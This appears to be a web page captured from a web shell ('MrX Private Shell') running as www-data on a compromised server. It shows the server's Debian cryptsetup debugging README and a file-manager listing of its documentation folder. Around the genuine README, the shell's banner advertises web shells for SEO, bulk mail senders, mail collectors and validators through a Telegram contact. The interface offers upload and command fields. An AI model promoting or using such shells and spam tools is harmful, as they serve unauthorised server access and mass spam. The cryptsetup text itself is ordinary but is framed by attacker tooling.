__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
Debugging Cryptsetup issues
===========================

Cryptsetup is responsible for unlocking dm-crypt devices. The cryptsetup Debian
provide a whole slew of helper scripts that integrate cryptsetup into the
Debian operating system. The most important ones are the `cryptdisks` init
script and the `cryptroot` initramfs scripts, both implementing support for the
`/etc/crypttab` configuration file and for automatic unlocking of encrypted
devices during the boot process.

This page collects information on debugging different features of the Debian
cryptsetup packages in case of problems.

Debug cryptroot initramfs script
--------------------------------

In order to debug the cryptroot initramfs script during initramfs stage, the
following steps are required:

* Boot into the initramfs rescue shell by adding `break=premount` as kernel
  option during boot

  In grub, this can be done interactively from the grub boot menu: `<E>` to
  edit, and `<Ctrl>+<X>` to boot once you've edited the kernel line.

  See <https://help.ubuntu.com/community/Grub2/Troubleshooting#Editing_the_GRUB_2_Menu_During_Boot>
  for details.

* Append `-x` to the shebang (first line) of cryptroot initramfs script:

      sed -i -e '1s,^#!/bin/sh,& -x,' /scripts/local-top/cryptroot

* Run the cryptroot initramfs script manually, redirecting output to a log file:

      /scripts/local-top/cryptroot 2>&1 | tee /run/initramfs/cryptroot.debug

  **Please note:** if the boot process is broken, you might need to mount an
  external storage device (e.g. a USB flash drive) inside the initramfs and
  redirect the output to a log files on this external device.

* Continue the boot process (by pressing `<Ctrl>+<D>`) and save a copy of the
  debug log file to `/run/initramfs/cryptroot.debug`. The content of `/run/`
  will be lost after reboot.

Sometimes, debugging the initramfs directly can be helpful as well. See
<https://wiki.debian.org/InitramfsDebug#Saving_debug_information> for details.

Gather debugging information in the initramfs rescue shell
----------------------------------------------------------

Useful commands to gather information from initramfs rescue shell:

* Check for device-mapper support (these directories/symlinks exist only if
  kernel has device-mapper support):

      ls -l /sys/class/misc/device-mapper /sys/devices/virtual/misc/device-mapper

* Check whether dm-crypt kernel module is loaded:

      lsmod | grep dm-crypt

* Display cryptroot configuration and list loaded kernel modules:

      cat /cryptroot/crypttab
      lsmod

* Gather information about the available block devices:

      blkid
      ls -l /dev/disk/by-*/

 -- Jonas Meurer <jonas@freesources.org>, Wed 25 Dec 2019 02:58:00 PM CET

Filemanager

Name Type Size Permission Actions
examples Folder 0755
AUTHORS File 137 B 0644
FAQ.md.gz File 49.58 KB 0644
Keyring.txt File 3.81 KB 0644
LUKS2-locking.txt File 3.87 KB 0644
NEWS.Debian.gz File 660 B 0644
README.Debian.gz File 5.61 KB 0644
README.debug File 2.67 KB 0644
README.gnupg File 1.8 KB 0644
README.gnupg-sc File 2.3 KB 0644
README.keyctl File 3.5 KB 0644
README.md.gz File 2.45 KB 0644
README.opensc.gz File 2.17 KB 0644
changelog.Debian.gz File 16.67 KB 0644
copyright File 11.11 KB 0644
v1.0.7-ReleaseNotes File 2.85 KB 0644
v1.1.0-ReleaseNotes.gz File 2.22 KB 0644
v1.1.1-ReleaseNotes File 1.75 KB 0644
v1.1.2-ReleaseNotes File 1.56 KB 0644
v1.1.3-ReleaseNotes File 482 B 0644
v1.2.0-ReleaseNotes.gz File 2.08 KB 0644
v1.3.0-ReleaseNotes.gz File 2.08 KB 0644
v1.3.1-ReleaseNotes File 421 B 0644
v1.4.0-ReleaseNotes.gz File 2.2 KB 0644
v1.4.1-ReleaseNotes File 889 B 0644
v1.4.2-ReleaseNotes File 1.6 KB 0644
v1.4.3-ReleaseNotes File 2.31 KB 0644
v1.5.0-ReleaseNotes.gz File 3.24 KB 0644
v1.5.1-ReleaseNotes File 1.26 KB 0644
v1.6.0-ReleaseNotes.gz File 3.73 KB 0644
v1.6.1-ReleaseNotes File 1.02 KB 0644
v1.6.2-ReleaseNotes File 989 B 0644
v1.6.3-ReleaseNotes File 1.82 KB 0644
v1.6.4-ReleaseNotes File 1.99 KB 0644
v1.6.5-ReleaseNotes File 2.42 KB 0644
v1.6.6-ReleaseNotes File 1.07 KB 0644
v1.6.7-ReleaseNotes File 3.26 KB 0644
v1.6.8-ReleaseNotes File 2.02 KB 0644
v1.7.0-ReleaseNotes File 3.03 KB 0644
v1.7.1-ReleaseNotes File 1.34 KB 0644
v1.7.2-ReleaseNotes File 1.45 KB 0644
v1.7.3-ReleaseNotes File 811 B 0644
v1.7.4-ReleaseNotes File 661 B 0644
v1.7.5-ReleaseNotes File 833 B 0644
v2.0.0-ReleaseNotes.gz File 9.5 KB 0644
v2.0.1-ReleaseNotes.gz File 2.17 KB 0644
v2.0.2-ReleaseNotes.gz File 1.95 KB 0644
v2.0.3-ReleaseNotes.gz File 2.39 KB 0644
v2.0.4-ReleaseNotes.gz File 2.27 KB 0644
v2.0.5-ReleaseNotes.gz File 2.02 KB 0644
v2.0.6-ReleaseNotes.gz File 1.91 KB 0644
v2.1.0-ReleaseNotes.gz File 3.41 KB 0644
v2.2.0-ReleaseNotes.gz File 4.47 KB 0644
v2.2.1-ReleaseNotes File 1.38 KB 0644
v2.2.2-ReleaseNotes File 2.1 KB 0644
v2.3.0-ReleaseNotes.gz File 3.18 KB 0644
v2.3.1-ReleaseNotes File 1.73 KB 0644
v2.3.2-ReleaseNotes File 1.47 KB 0644
v2.3.3-ReleaseNotes File 1.36 KB 0644
v2.3.4-ReleaseNotes.gz File 1.95 KB 0644
v2.3.5-ReleaseNotes.gz File 3.06 KB 0644
v2.3.6-ReleaseNotes File 2.26 KB 0644
v2.4.0-ReleaseNotes.gz File 4.65 KB 0644
v2.4.1-ReleaseNotes File 1.9 KB 0644
v2.4.2-ReleaseNotes File 1.34 KB 0644
v2.4.3-ReleaseNotes.gz File 1.95 KB 0644
v2.5.0-ReleaseNotes.gz File 4.35 KB 0644
v2.6.0-ReleaseNotes.gz File 3.62 KB 0644
v2.6.1-ReleaseNotes File 2.06 KB 0644
v2.7.0-ReleaseNotes.gz File 6.5 KB 0644
Filemanager